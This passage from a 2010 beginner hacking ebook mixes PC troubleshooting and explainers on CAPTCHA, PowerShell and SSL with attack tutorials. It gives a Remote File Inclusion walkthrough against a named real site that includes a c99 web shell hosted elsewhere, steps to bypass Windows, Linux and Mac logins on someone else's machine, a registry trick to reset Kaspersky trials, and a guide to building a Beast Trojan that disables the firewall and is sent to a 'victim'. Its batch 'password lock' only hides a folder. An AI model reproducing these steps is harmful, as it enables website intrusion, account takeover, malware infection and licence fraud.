A virus scanner requires a list of virus signatures in order to be able to identify viruses. These signatures are stored in a DAT file. DAT files should be updated weekly from the website of your antivirus software manufacturer.
An excellent antivirus program is McAfee Virus Scan by Network Associates (www.nai.com). Another is Norton Antivirus 2000, made by Symantec (www.symantec.com).
7. Printers -
The action of sending a document to print creates a bigger file, often called a postscript file.
Printers have only a small amount of memory, called a buffer. This can be easily overloaded. Printing a document also uses a considerable amount of CPU power. This will also slow down the computer's performance.
If the printer is trying to print unusual characters, these might not be recognised, and can crash the computer. Sometimes printers will not recover from a crash because of confusion in the buffer. A good way to clear the buffer is to unplug the printer for ten seconds. Booting up from a powerless state, also called a cold boot, will restore the printer's default settings and you may be able to carry on.
8. Softwares -
A common cause of computer crash is faulty or badly-installed software. Often the problem can be cured by uninstalling the software and then reinstalling it. Use Norton Uninstall or Uninstall Shield to remove an application from your system properly. This will also remove references to the programme in the System Registry and leaves the way clear for a completely fresh copy.
The System Registry can be corrupted by old references to obsolete software that you thought was uninstalled. Use Reg Cleaner by Jouni Vuorio to clean up the System Registry and remove obsolete entries. It works on Windows 95, Windows

98, Windows 98 SE (Second Edition), Windows Millennium Edition (ME), NT4 and Windows 2000.
Read the instructions and use it carefully so you don't do permanent damage to the Registry. If the Registry is damaged you will have to reinstall your operating system. Reg Cleaner can be obtained from www.jv16.org
Often a Windows problem can be resolved by entering Safe Mode. This can be done during start-up. When you see the message "Starting Windows" press F4. This should take you into Safe Mode.
Safe Mode loads a minimum of drivers. It allows you to find and fix problems that prevent Windows from loading properly.
Sometimes installing Windows is difficult because of unsuitable BIOS settings. If you keep getting SUWIN error messages (Windows setup) during the Windows installation, then try entering the BIOS and disabling the CPU internal cache. Try to disable the Level 2 (L2) cache if that doesn't work.
Remember to restore all the BIOS settings back to their former settings following installation.
9. Overheating -
Central processing units (CPUs) are usually equipped with fans to keep them cool. If the fan fails or if the CPU gets old it may start to overheat and generate a particular kind of error called a kernel error. This is a common problem in chips that have been over clocked to operate at higher speeds than they are supposed to.
One remedy is to get a bigger better fan and install it on top of the CPU. Specialist cooling fans/heat sinks are available from www.computernerd.com or www.coolit.com
CPU problems can often be fixed by disabling the CPU internal cache in the BIOS. This will make the machine run more slowly, but it should also be more stable.

10. Power supply problems -
With all the new construction going on around the country the steady supply of electricity has become disrupted. A power surge or spike can crash a computer as easily as a power cut.
If this has become a nuisance for you then consider buying a uninterrupted power supply (UPS). This will give you a clean power supply when there is electricity, and it will give you a few minutes to perform a controlled shutdown in case of a power cut.

It is a good investment if your data are critical, because a power cut will cause any unsaved data to be lost.

36. How to use Kaspersky for lifetime

How to use Kaspersky for Lifetime without Patch

Generally Kaspersky provide us 30 days trial period on its Anti-virus Product. So there are the few steps that you have to perform when your trial license going to expire after 30 days for getting a new trial license.

Step 1. Delete old key and turn off self defense (Settings-Options in kaspersky and turn off Enable self-defense, and click OK).

Step 2. Open Registry editor (click start in windows menu then go to run and write regedit and click Ok) and go through These:

For 32bit OS: HKEY_LOCAL_MACHINE \ SOFTWARE \ KasperskyLab \ protected \ AVP9 \ environment

For 64bit OS: HKEY_LOCAL_MACHINE \ SOFTWARE \ Wow6432Node \ KasperskyLab \ protected \ AVP9 \ environment

Step 3. Right look for PCID and right click and modify three or four last numbers or letters example: (8F10C22F-6EF6-4378-BAB1-34722F6D454)

and enter any other three-letter four-number and close the Registry Editor.

Step 4. Right click on Kaspersky icon in the task bar and choose exit.

Step 5. Go to Start-Programs menu, open the Kaspersky and when you activate searching trial license and you have new license of a peaceful month.

Step 6. Go to Kaspersky settings and turn on self-defense.

This is hardly a 2 minute job and you got again a trial period of 30 days, and there is no rush for more keys.

Note : Most of the patches that you will found on the net are basically work on that trick, they simply make the changes in the registry and change identification of your computer to the Kaspersky server, thus Kaspersky log server recognizes you as a new user and assigns you new trial license.

“Patching the antivirus like this is illegal this tutorial is for educational purpose only.”

Page 201

37. Disguise as google bot to view hidden data

Disguise as Google Bot to view Hidden Content of a Website

Have you ever experienced this? You ask Google to search something and it will return a lot of relevant search results, but if you try to open the ones with the most promising content, you are confronted with a registration page instead, and the stuff you were looking for will not be revealed to you unless you agree to a credit card transaction first. This means that Google is able to see what a normal surfer cannot see.

The reason behind this is that Google uses a Bot called GoogleBot and most of websites which force users to register or even pay in order to search and use their content, leave a backdoor open for the GoogleBot because a prominent presence in Google searches is known to generate sales leads, site hits and exposure. Examples of such sites are Expert-Exchange, Windows Magazine, .Net Magazine, Nature, and many other sites around the globe.

What if you could disguise as GoogleBot then you can also see what GoogleBot can.

How to Disguise as Google Bot?

It is quite simple. You just need to change your browser’s User Agent. To change your Browser’s User Agent follows the steps given below:

Step 1:- Copy the following code segment into a notepad file and save it as Useragent.reg .

```
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent]
@=”Googlebot/2.1"
"Compatible”=”+http://www.googlebot.com/bot.html”
```

Step 2:-Now Double-Click on the file Useragent.reg to merge the registry file into your Windows Registry.

Step 3:- Now restart your computer. This is required to apply the changes made into the Registry.

Step 4:- Viola! You’re done! Now you have become Google Bot.

“Direct Download From Here: http://www.hackingtech.co.tv/useragent.reg”

Hacking For Beginners – Manthan Desai 2010

w w w . h a c k i n g t e c h . c o . t v

Page 202

How revert back to Normal Agent?

For IE users: To restore the IE User Agent, Follow the Given Steps Below:
Step 1:- Copy the following code segment into a notepad file and save it as Normalagent.reg .
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent]
@=”Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)”
Step 2:-Now Double-Click on the file Normalagent.reg to merge the registry file into your Windows Registry.
Step 3:- Now restart your computer. This is required to apply the changes made into the Registry.
For Opera Users: Opera allows on-the-fly for switching of User Agents through its "Browser Identification” function.
For Firefox users: Just download User Agent Switcher extension for Firefox.
Step 1:- Now Go to Tools -> User Agent Switcher -> Options -> Options.
Step 2:- Click "User Agents.
Step 3:- Click” Add” and fill the following information in the form.
¬ Description: GoogleBot
¬ User Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
¬ App Name: GoogleBot
¬ App Version: 5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
¬ Platform: +http://www.google.com/bot.html
¬ Vendor:
¬ Vendor Sub:
Step 4:- Click "OK”.
Step 5:- Now you may change the user agent on the fly.
“Download User Agent Switcher extension for Firefox from Here:
https://addons.mozilla.org/en-US/firefox/addon/59 ”
“Direct Download From Here: http://www.hackingtech.co.tv/normalagent.reg”
“This is For Educational purpose do not hack any website through this.”

38. How to download Facebook Videos

In This Tutorial I Will Explain You How to Download the Facebook Videos from your friends profile easily.

Step 1:- First Of all open http://m.facebook.com on your PC browser. (Google Chrome recommended)

Step 2:-Then Login to Your Account.

Step 3:- After Logging in to your account go The Video page (Fig-1)

(Fig-1) (Fig-2)

Step 4:- Click on the External Link and a new window Will Open. (Fig-2)

Step 5:- Copy The URL of The Window.

Step 6:- Now Paste this in the Internet Download Manager, add URL Window.

Step 7:- Click OK and You are done the video from your friends profile will be downloaded without any streaming.

“Download ‘Internet Download manager’ from here:

http://www.internetdownloadmanager.com/download.html

”

39. Hack a website by Remote File Inclusion

Another website attack named Remote file inclusion is basically a one of the most common vulnerability found in web application. This type of vulnerability allows the Hacker or attacker to add a remote file on the web server. If the attacker gets successful in performing the attack he/she will gain access to the web server and hence can execute any command on it.

Searching the Vulnerability

Remote File inclusion vulnerability is usually occurred in those sites which have a navigation similar to the below one

www.Targetsite.com/index.php?page=Anything

To find the vulnerability the hacker will most commonly use the following Google Dork

"inurl:index.php?page=”
This will show all the pages which has "index.php?page=” in their URL, Now to test whether the website is vulnerable to Remote file Inclusion or not the hacker use the following command
www.targetsite.com/index.php?page=www.google.com
Let’s say that the target website is http://www.cbspk.com
So the hacker URL will become
http://www.cbspk.com/v2/index.php?page=http://www.google.com
If after executing the command the homepage of the google shows up then the website is vulnerable to this attack if it does not come up then you should look for a new target. In my case after executing the above command in the address bar Google homepage shows up indicating that the website is vulnerable to this attack.

Now the hacker would upload the shells to gain access. The most common shells used are c99 shell or r57 shell. I would use c99 shell.
The hacker would first upload the shells to a web hosting site such as ripway.com, 110mb.com etc.
Now here is how a hacker would execute the shells to gain access. Let’s say that the URL of the shell is
http://h1.ripway.com/yourdomain/c99.txt
Now here is how a hacker would execute the following command to gain access
http://www.cbspk.com/v2/index.php?page=http://h1.ripway.com/yourdomain/c99.txt?
Remember to add "?” at the end of url or else the shell will not execute. Now the hacker is inside the website and he could do anything with it
“Download ‘Internet Download manager’ from here: http://www.hackingtech.co.tv/RFI/c99shell.zip “.
”
“This Tutorial is for educational purpose only please do not hack any website listed here and try to damage their data.

Page 207

40. What is CAPTCHA and how it works?

CAPTCHA or Captcha (pronounced as cap-ch-uh) which stands for "Completely Automated Public Turing test to tell Computers and Humans Apart" is a type of challenge-response test to ensure that the response is only generated by humans and not by a computer. In simple words, CAPTCHA is the word verification test that you will come across the end of a sign-up form while signing up for Gmail or Yahoo account. The following image shows the typical samples of CAPTCHA.

Almost every Internet user will have an experience of CAPTCHA in their daily Internet usage, but only a few are aware of what it is and why they are used. So in this post you will find detailed information on how CAPTCHA works and why they are used.

What Purpose does CAPTCHA Exactly Serve?

CAPTCPA is mainly used to prevent automated software (bots) from performing actions on behalf of actual humans. For example while signing up for a new email account, you will come across a CAPTCHA at the end of the sign-up form so as to ensure that the form is filled out only by a legitimate human and not by any of the automated software or a computer bot. The main goal of CAPTCHA is to put forth a test which is simple and straight forward for any human to answer but for a computer, it is almost impossible to solve.

What is the Need to Create a Test that Can Tell Computers and Humans Apart?

For many the CAPTCHA may seem to be silly and annoying, but in fact it has the ability to protect systems from malicious attacks where people try to game the system. Attackers can make use of automated software's to generate a huge quantity of requests thereby causing a high load on the target server which would degrade the quality of service of a given system, whether due to abuse or resource expenditure. This can affect millions of legitimate users and their requests. CAPTCHAs can be deployed to protect systems that are vulnerable to email spam, such as the services from Gmail, Yahoo and Hotmail.

Hacking For Beginners – Manthan Desai 2010

w w w . h a c k i n g t e c h . c o . t v

Page 208

Who Uses CAPTCHA?

CAPTCHAs are mainly used by websites that offer services like online polls and registration forms. For example, Webbased

email services like Gmail, Yahoo and Hotmail offer free email accounts for their users. However upon each sign-up process, CAPTCHAs are used to prevent spammers from using a bot to generate hundreds of spam mail accounts.

Designing a CAPTCHA System

CAPTCHAs are designed on the fact that computers lack the ability that human beings have when it comes to processing visual data. It is more easily possible for humans to look at an image and pick out the patterns than a computer. This is because computers lack the real intelligence that humans have by default. CAPTCHAs are implemented by presenting users with an image which contains distorted or randomly stretched characters which only humans should be able to identify. Sometimes characters are striked out or presented with a noisy background to make it even harder for computers to figure out the patterns.

Most, but not all, CAPTCHAs rely on a visual test. Some Websites implement a totally different CAPTCHA system to tell humans and computers apart. For example, a user is presented with 4 images in which 3 contains picture of animals and one contain a flower. The user is asked to select only those images which contain animals in them. This Turing test can easily be solved by any human, but almost impossible for a computer.

Breaking the CAPTCHA

The challenge in breaking the CAPTCHA lies in real hard task of teaching a computer how to process information in a way similar to how humans think. Algorithms with artificial intelligence (AI) will have to be designed in order to make the computer think like humans when it comes to recognizing the patterns in images. However there is no universal algorithm that could pass through and break any CAPTCHA system and hence each CAPTCHA algorithm must have to be tackled individually. It might not work 100 percent of the time, but it can work often enough to be worthwhile to spammers.

41. Hack Password of any Operating System

How to Hack Password of any Operating System

Today we will learn how to hack and gain the access of a PCs operating system as one thing any hacker should know is how to hack into login account of any operating system. Major Operating Systems that are used these days are Windows, Linux and Mac. So today I will show you how to hack into these Operating Systems. Are you curious how easy it is for someone to gain access to your computer? If so, read on to see the technique one might use to figure out your computer

password.
So let’s start with the common OS
Windows -
Windows being very popular has a lot of programs available which can be used to hack the login password. One of the most successful programs is Ophcrack, and it is free. Ophcrack is based on Slack ware, and uses rainbow tables to solve passwords up to 14 characters in length. The time required to solve a password? Generally 10 seconds. The expertise needed? None.
Simply download the Ophcrack ISO and burn it to a CD (or load it onto a USB drive via UNetbootin). Insert the CD into a machine you would like to gain access to, then press and hold the power button until the computer shuts down. Turn the computer back on and enter BIOS at startup. Change the boot sequence to CD before HDD, then save and exit.
The computer will restart and Ophcrack will be loaded. Sit back and watch as it does all the work for your. Write down the password it gives you, remove the disc, restart the computer, and log in as if it were you own machine.
You can download OphCrack from the following link:
http://ophcrack.sourceforge.net
There is another hack possible with the same technique using a CD named "Hiren Boot CD" for hacking Windows password.
You can download OphCrack from the following link:
http://www.hirensbootcd.net/download.html
Now Lets Continue With

Linux -
Linux is an operating system which is quickly gaining popularity in mainstream, but not so common that you’re likely to come across it. Though Mac and Linux are both based on UNIX, it is easier to change the password in Linux than it is OS X.
To change the password, turn on the computer and press the ESC key when GRUB appears. Scroll down and highlight ‘Recovery Mode’ and press the ‘B’ key; this will cause you to enter ‘Single User Mode’.
You’re now at the prompt, and logged in as ‘root’ by default. Type ‘passwd’ and then choose a new password. This will

change the root password to whatever you enter. If you’re interested in only gaining access to a single account on the system, however, then type ‘passwd username’ replacing ‘username’ with the login name for the account you would like to alter the password for.

And finally hacking the

Mac -

Finally we take on Mac’s OS X which as we said earlier is based on UNIX and is difficult to change password compared to Linux but nothing is impossible to be hacked.

The easiest method would be to use Ophcrack on this also as it works with Mac and Linux in addition to Windows.

However, there are other methods that can be used, as demonstrated below.

If the Mac runs OS X 10.4, then you only need the installation CD. Insert it into the computer, reboot. When it starts up, select UTILITIES > RESET PASSWORD. Choose a new password and then use that to log in.

If the Mac runs OS X 10.5, restart the computer and press COMMAND + S. When at the prompt, type:

```
fsck -fy
mount -uw /
launchctl load /System/Library/LaunchDaemons/com.apple.DirectoryServices.plist
dscl . -passwd /Users/UserName newpassword
```

That’s it. Now that the password is reset, you can login.

“This Tutorial is for educational purpose only please do not hack any computer and their OS and try to damage their data.

42. Windows PowerShell Security in brief

First of all the question arises in your mind is that what is Windows PowerShell???

Windows PowerShell is Microsoft's task automation framework, consisting of a command-line shell and associated scripting language built on top of, and integrated with, the .NET Framework. PowerShell provides full access to COM and WMI, enabling administrators to perform administrative tasks on both local and remote Windows systems.

In PowerShell, administrative tasks are generally performed by cmdlets (pronounced command-lets), specialized .NET classes implementing a particular operation. Sets of cmdlets may be combined together in scripts, executables (which are standalone applications), or by instantiating regular .NET classes (or WMI/COM Objects). These work by accessing data in different data stores, like the file system or registry, which are made available to the PowerShell runtime via Windows PowerShell providers.

Windows PowerShell also provides a hosting mechanism with which the Windows PowerShell runtime can be embedded inside other applications. These applications then leverage Windows PowerShell functionality to implement certain operations, including those exposed via the graphical interface. This capability has been utilized by Microsoft Exchange Server 2007 to expose its management functionality as PowerShell cmdlets and providers and implement the graphical management tools as PowerShell hosts which invoke the necessary cmdlets. Other Microsoft applications including Microsoft SQL Server 2008 also expose their management interface via PowerShell cmdlets. With PowerShell, graphical interface-based management applications on Windows are layered on top of Windows PowerShell. In the future all Microsoft applications running on the Windows platform are to be PowerShell aware.

Windows PowerShell includes its own extensive, console-based help, similar to man pages in UNIX shells via the Get-Help cmdlet.

Let us now Study About the built-in PowerShell security features as well as some additional security you can configure once in PowerShell.

With all of the effort and sweat that has gone into PowerShell, it had better come with some advanced security. Well, it does! PowerShell is not just your routine scripting language. There are built in security features, as well as some additional security you can configure once in PowerShell.

PowerShell Default Security

Just getting to the PowerShell interface can be a task for some. Not that this is security related, just that you must be in the PowerShell interface before you can do much of anything. This in itself is security. There are however, some default security measures that are there by design to help ensure that anyone with malicious intent is denied their efforts.

What is in a path?

The first default security measure that you will encounter is that fact that PowerShell won’t run scripts that are in the current folder. This is so that malicious scripts attempting to intercept cmdlets and command names will fail.

For example, if you wanted to run a script named Example.ps1 from the C:\scripts folder, you would need to include the full path to the script, even if you were in the C:\scripts folder within PowerShell. Figure 1 illustrates what happens when you just try to run Example.ps1 without a path.

Figure 1: Scripts must include the path to the script to run successfully

Now, look at what happens when you run the script including the path to the script, as shown in Figure 2.

Figure 2: When the path is included with the script, the script runs without a hitch

Why am I Restricted?

Another default setting that is directly related to security is the fact that all scripts must be run interactively. This is a security measure that ensures that PowerShell scripts cannot be executed from a script based virus. This means that you must be at the PowerShell interface and run the script in real time for it to function.

This default setting is associated with the Execution Policy setting within PowerShell. The Execution Policy by default is set to Restricted, as shown in Figure 3.

Figure 3: The Execution Policy by default is set to Restricted to secure the execution of remote PowerShell scripts

Going Beyond the Defaults:

The default Execution Policy in PowerShell is very secure. It does not allow for any scripts to be run, from anywhere. So, scripts that you create and put on a system won’t run. Scripts that you download from the Internet won’t run. Scripts that you even sign and secure to the nth degree won’t run. Therefore, you will need to reset the level of Execution Policy before you can run your scripts.

Setting the Execution Policy Level

There are four levels of the Execution Policy. These four levels provide you with great security over what scripts can run and what requirements need to be associated with the script to run. The four levels and the requirements include:

Restricted

This is the default configuration in PowerShell. This setting means that no script can run, regardless of its signature. The

only things that can be run in PowerShell with this setting are individual commands.
All Signed
This setting does allow scripts to run in PowerShell. The script must have an associated digital signature from a trusted publisher. There will be a prompt before you run the scripts from trusted publishers. This exposes you to running signed, but malicious, scripts.
Remote Signed
This setting allows scripts to be run, but requires that the script and configuration files that are downloaded from the Internet have an associated digital signature from a trusted publisher. Scripts run from local computer don’t need to be signed. There are no prompts before running the script. Still exposes you to scripts that are signed, yet malicious.
Unrestricted
This is not a suggested setting! This allows unsigned scripts to run, including all scripts and configuration files downloaded from the Internet. This will include files from Outlook and Messenger. The risk here is running scripts without any signature or security.
To set anyone of these levels, just type set-execution policy <level>, as shown in Figure 4.
Figure 4: Setting the Execution Policy is as easy as running the set-execution policy command.
Using Group Policy
PowerShell is great, but if scripts can’t run on computers in your environment, it does have limitations. First, you must get PowerShell on each computer. Since PowerShell is installed via an EXE, it is very easy to install the application. You can either use a ZAP file or push it out using Group Policy, or you can use your current centralized method of installing applications. Keep in mind that PowerShell is considered a hot fix, so Windows Update can also push out the installation of PowerShell.

After you get PowerShell installed, we just investigated that you need to enable scripts to run. With the Execution Policy set at Restricted as a default, you need to configure every computer to run scripts, that will run scripts. This could take days if you are trying to do this manually.
However, you can also use Group Policy to get this done for you. Of course, you could create your own Administrative

Template (ADM file) to make this change, or download the ADM template that Microsoft provides for you. I suggest you do the latter by downloading the ADM template.
After downloading, you will need to install the MSI. I will admit, it is not the cleanest or most efficient install. After installation, the ADM file is shoved under the C:\program files\Microsoft Group Policy folder. If nothing else, this is great security! The file you need to import into the Group Policy Object Editor is Power Shell Extension Policy. ADM After importing, you will have two new nodes in your Group Policy Object. One will be at Computer Configuration\Administrative Templates\Windows Components\Windows PowerShell and the other at User Configuration\Administrative Templates\Windows Components\Windows PowerShell, as shown in Figure 5.
Figure 5: PowerShell ADM template adds settings to Computer Configuration and User Configuration for script execution
When you go to configure this policy, you will see that you have three options for a setting, as shown in Figure 6.

Summary
PowerShell is the new kid on the block. With Windows Server 2008 coming out in early 2008, PowerShell will take off like a rocket ship. With all of the attention that PowerShell is getting, everyone is hoping that it comes with security already built-in. Well, the worry is over. PowerShell provides security directly out of the box, with default security features. The fact that the scripts are set to have a restricted execution policy is fantastic. Even if you have created a .PS1 file, that script being associated with Notepad is nice default security. Even if you can get to the PowerShell interface, the fact that the path to the script must be typed in adds value. Beyond the defaults, being able to set the execution policy and control PowerShell through Group Policy gives centralized control over PowerShell security.

43. What is Secure Sockets Layers (SSL)?
Secure Sockets Layer (SSL) is the most widely used technology for providing a secure communication between the web client and the web server. Most of us are familiar with many sites such as Gmail, Yahoo etc. using https protocol in their login pages. When we see this, we may wonder what’s the difference between http and https. In simple words HTTP

protocol is used for standard communication between the Web server and the client. HTTPS is used for a SECURE communication.

What exactly is Secure Communication?

Suppose there exists two communication parties A (client) and B (server).

Working of HTTP

When A sends a message to B, the message is sent as a plain text in an unencrypted manner. This is acceptable in normal situations where the messages exchanged are not confidential. But imagine a situation where A sends a PASSWORD to B. In this case, the password is also sent as a plain text. This has a serious security problem because, if an intruder (hacker) can gain unauthorized access to the ongoing communication between A and B, he can see the PASSWORDS since they remain unencrypted. This scenario is illustrated using the following figure.

Now lets see the working of HTTPS

When A sends a PASSWORD (say "mypass") to B, the message is sent in an encrypted format. The encrypted message is decrypted on B’s side. So even if the Hacker gains an unauthorized access to the ongoing communication between A and B he gets only the encrypted password ("xz54p6kd") and not the original password. This is shown below.

How is HTTPS implemented?

HTTPS is implemented using Secure Sockets Layer (SSL). A website can implement HTTPS by purchasing an SSL Certificate. Secure Sockets Layer (SSL) technology protects a Web site and makes it easy for the Web site visitors to trust it. It has the following uses

1. An SSL Certificate enables encryption of sensitive information during online transactions.
2. Each SSL Certificate contains unique, authenticated information about the certificate owner.
3. A Certificate Authority verifies the identity of the certificate owner when it is issued.

How Encryption Works?

Each SSL Certificate consists of a Public key and a Private Key. The public key is used to encrypt the information and the private key is used to decrypt it. When your browser connects to a secure domain, the server sends a Public key to the browser to perform the encryption. The public key is made available to every one but the private key (used for

decryption) is kept secret. So during a secure communication, the browser encrypts the message using the public key and sends it to the server. The message is decrypted on the server side using the Private Key (Secret key).

How to identify a Secure Connection?

In Internet Explorer, you will see a lock icon in the Security Status bar. The Security Status bar is located on the right side of the Address bar. You can click the lock to view the identity of the website.

In high-security browsers, the authenticated organization name is prominently displayed and the address bar turns GREEN when an Extended Validation SSL Certificate is detected. If the information does not match or the certificate has expired, the browser displays an error message or warning and the status bar may turn RED.

So the bottom line is, whenever you perform an on-line transaction such as Credit card payment, Bank login or Email login always ensure that you have a secure communication. A secure communication is a must in these situations. Otherwise there are chances of Phishing using a Fake login Page.

How secure is the encryption used by SSL?

It would take significantly longer than the age of the universe to crack a 128-bit key.

SSL uses public-key encryption to exchange a session key between the client and server; this session key is used to encrypt the http transaction (both request and response). Each transaction uses a different session key so that even if

someone did manage to decrypt a transaction, that would not mean that they would have found the server's secret key; if they wanted to decrypt another transaction, they'd need to spend as much time and effort on the second transaction as they did on the first. Of course, they would have first have to have figured out some method of intercepting the transaction data in the first place, which is in itself extremely difficult. It would be significantly easier to tap your phone, or to intercept your mail to acquire your credit card number than to somehow intercept and decode Internet Data.

Servers and browsers do encryption ranging from a 40-bit secret key to a 128-bit secret key, that is to say '2 to the 40th power' or '2 to the 128th power'. Many people have heard that 40-bit is insecure and that you need 128-bit to keep your credit card info safe. They feel that using a 40-bit key is insecure because it's vulnerable to a "brute force" attack (basically trying each of the 2^40 possible keys until you find the one that decrypts the message). This was in fact demonstrated when a French researcher used a network of fast workstations to crack a 40-bit encrypted message in a

```
little over a week. Of course, even this 'vulnerability' is not really applicable to applications like an online credit card
transaction, since the transaction is completed in a few moments. If a network of fast computers takes a week to crack a
40-bit key, you'd be completed your transaction and long gone before the hacker even got started.
Of course, using a 128-bit key eliminates any problem at all because there are 2^128 instead of 2^40 possible keys. Using
the same method (a networked of fast workstations) to crack a message encrypted with such a key would take
significantly longer than the age of the universe using conventional technology. Remember that 128-bit is not just 'three
times' as powerful as 40-bit encryption. 2^128 is 'two times two, times two, times two...' with 128 two's. That is two,
doubled on itself 128 times. 2^40 is already a HUGE number, about a trillion (that's a million, million!). Therefore 2^128
is that number (a trillion), doubled over and over on itself another 88 times. Again, it would take significantly longer than
the age of the universe to crack a 128-bit key.
Key Size
Possible Key Combinations
2-bit 2^2 2x2 = 4
3-bit 2^3 2x2x2 = 8
4-bit 2^4 2x2x2x2 = 16
5-bit 2^5 2x2x2x2x2 = 32
6-bit 2^6 2x2x2x2x2x2 = 64
7-bit 2^7 2x2x2x2x2x2x2 = 128
8-bit 2^8 2x2x2x2x2x2x2x2 = 256
9-bit 2^9 2x2x2x2x2x2x2x2x2 = 512
10-bit 2^10 2x2x2x2x2x2x2x2x2x2 = 1024
11-bit 2^11 2x2x2x2x2x2x2x2x2x2... = 2048
12-bit 2^12 2x2x2x2x2x2x2x2x2x2... = 4096
16-bit 2^16 2x2x2x2x2x2x2x2x2x2... = 65536
24-bit 2^24 2x2x2x2x2x2x2x2x2x2... = 16.7 million
30-bit 2^30 2x2x2x2x2x2x2x2x2x2... = 1 billion (1,073,741,800)
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
```

Page 219
40-bit 2^40 2x2x2x2x2x2x2x2x2x2... = 1 trillion (1,097,728,000,000)
56-bit 2^56 2x2x2x2x2x2x2x2x2x2.... = 72 thousand quadrillion (71,892,000,000,000,000)
128-bit 2^128
2 multiplied by 2
128 times over.
= 339,000,000,000,000,000,000,000,000,000,000,000
(give or take a couple trillion...)
Doing the math, you can see that using the same method that was used to break 40-bit encryption in a week, it would take about 72 million weeks (about 1.4 million years) to even break '56-bit medium' encryption and significantly longer than the age of the universe to crack a 128-bit key. Of course the argument is that computers will keep getting faster, about doubling in power every 18 months. That is true, but even when computers are a million times faster than they are now (about 20 years from now if they double in speed every year), it would then still take about 6 thousand, trillion years, which is about a million times longer than the Earth has been around. Plus, simply upgrading to 129-bit encryption would take twice as long, and 130-bit would take twice as long again. As you can see, it's far easier for the encryption to keep well ahead of the technology in this case. Simply put, 128-bit encryption is totally secure.
How do I know if encryption is enabled or not?
Your Browser (Netscape or Internet Explorer) will tell you.
In Netscape versions 3.X and earlier you can tell what kind of encryption is in use for a particular document by looking at the "document" information" screen accessible from the file menu. The little key in the lower left-hand corner of the Netscape window also indicates this information. A solid key with three teeth means 128-bit encryption, a solid key with two teeth means 40-bit encryption, and a broken key means no encryption. Even if your browser supports 128-bit encryption, it may use 40-bit encryption when talking to other servers or to servers outside the U.S. and Canada. In Netscape versions 4.X and higher, click on the "Security" button to determine whether the current page is encrypted, and, if so, what level of encryption is in use.
In Microsoft Internet Explorer, a solid padlock will appear on the bottom right of the screen when encryption is in use. To determine whether 40-bit or 128-bit encryption is in effect, open the document information page using File->Properties. This will indicate whether "weak" or "strong" encryption is in use.

What about warnings or errors about the Secure Certificate?
Your personal Security settings will determine what warnings you see.
Depending on how your security settings are setup in your Browser, you may also see information about our Certificate when you enter the secure directories. This information will usually include the Dates that the Certificate is valid for, the site name that the Certificate has been issued to, and the Certificate Authority (or 'CA') that issued the Certificate. You can also usually view the Certificate to see information about the various parties, including Inet2000 and our CA.
The most common warning is that you have not previously chosen to Trust the authority. This is a normal warning if you haven't already purchased anything online from a Merchant who's certificate was issued by a Certificate Authority that you haven't told your browser to trust from now on. Of course, you may well have no errors, warnings or information screens at all - again, largely depending on the way you've got your security settings set in your Browser.
In any case, the encryption level and the security is the same whether you've got your settings low (don't warn me about anything) or very high (warn and inform me about everything). Either way, your data is still encrypted and still secure.

44. Make a Private Folder with your password
Step 1:- Open the Notepad.exe
Step 2:- Copy the following code into the notepad.
Quote: cls

```
@ECHO OFF
title Folder Private
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Private goto MDENTER PASSWORD TO OPEN
:CONFIRM
echo ------------------------------------------------------------
echo ================== Www.hackingtech.co.tv ==================
echo ------------------------------------------------------------
echo Are you sure you want to lock the folder(Y/N)
```

```
echo Press (Y) for Yes and Press (N) for No.
echo ------------------------------------------------------------
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Private "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo ------------------------------------------------------------
echo ================== Www.hackingtech.co.tv ==================
echo ------------------------------------------------------------
echo Enter password to unlock folder
set/p "pass=>"
if NOT %pass%== YOUR PASSWORD goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Private
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
Hacking For Beginners – Manthan Desai 2010
```

```
w w w . h a c k i n g t e c h . c o . t v
Page 221
goto end
:MDENTER PASSWORD TO OPEN
md Private
echo Private created successfully
goto End
:End
Step 3:- Now change the password in the if NOT %pass%==YOUR PASSWORDgoto FAIL line replace text of Your
Password with your password for the folder lock.
Step 4:- Now save this file as locker.bat and you are done.
Step 5:- Now Open the Locker.bat file and enter your password to open a private folder of yours.
Step 6:- Now copy paste the files which you want to hide and make it secure in the private folder.
Step 7:- Now again open the Locker.bat file and press 'Y' to lock the private folder with your password.
Step 8:- Now to again open the secured files open the locker.bat file Enter your password and your files are there for you.
“You can use Bat to exe converter and can convert it into .exe file to safeguard the code above.”
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 222
45. Making a Trojan using Beast 2.06
Step 1:- Download the necessary software i.e. Beast 2.06
Step 2:- Unrar the pack.
Step 3:- Open the software you will get the screen as shown below.
Step 4:- Now click on “Build server “button.
“Download Beast 2.06 from here: http://www.hackingtech.co.tv/Trojans/Beast.rar”.
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 223
```

Step 5:- Now in this window click on the notifications tab.
Step 6:- In the notifications tab click on the e-mail button.
Step 7:- Now In this window fill your proper and valid email id.
Step 8:- Now go to "AV-FW kill” tab.

Step 9: - Now In this put a tick mark on the “disable XP firewall ".
Step 10:-Now click on "EXE icon” tab.
Step 11:- In this tab select any icon for the file from the list or you can browse the icon from the directory and can use it.

Step 12:-Now click on the”Save Server” button and the Trojan will be made.
Step 13:-Now send this Trojan File to victim.
Step 14:- As and when the victim will install the Trojan on his system you will get a notification e-mail on your specified email id while making the Trojan. This Email consists of the IP address and port of the victim.
